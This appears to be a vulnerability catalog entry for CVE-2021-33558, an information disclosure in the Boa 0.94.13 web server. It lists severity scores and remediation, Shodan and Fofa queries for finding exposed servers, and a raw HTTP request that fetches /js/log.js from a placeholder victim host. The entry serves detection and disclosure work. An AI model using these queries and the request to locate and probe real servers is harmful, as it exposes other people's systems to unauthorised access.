| Title | Boa 0.94.13 - Information Disclosure |
|---|---|
| Author | DhiyaneshDK |
| Severity | High |
| Impact | Unauthenticated attackers can access sensitive JavaScript files exposing logging functionality and potentially other configuration details. |
| Remediation | Update Boa web server to a version newer than 0.94.13 or apply vendor security patches. |
| CVSS Score | 7.5 |
| EPSS Score | 0.93409 |
| CVE ID | CVE-2021-33558 |
| Shodan Query | Server: Boa/0.94.13 |
| Fofa Query | Server: Boa/0.94.13 |
| Tags | cve cve2021 boa info-leak vkev vuln |
Boa 0.94.13 allows remote attackers to obtain sensitive information via a misconfiguration involving backup.html, preview.html, js/log.js, log.html, email.html, online-users.html, and config.js. NOTE- multiple third parties report that this is a site-specific issue because those files are not part of Boa.
GET /js/log.js HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-33558.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-33558.pcap
N/AN/A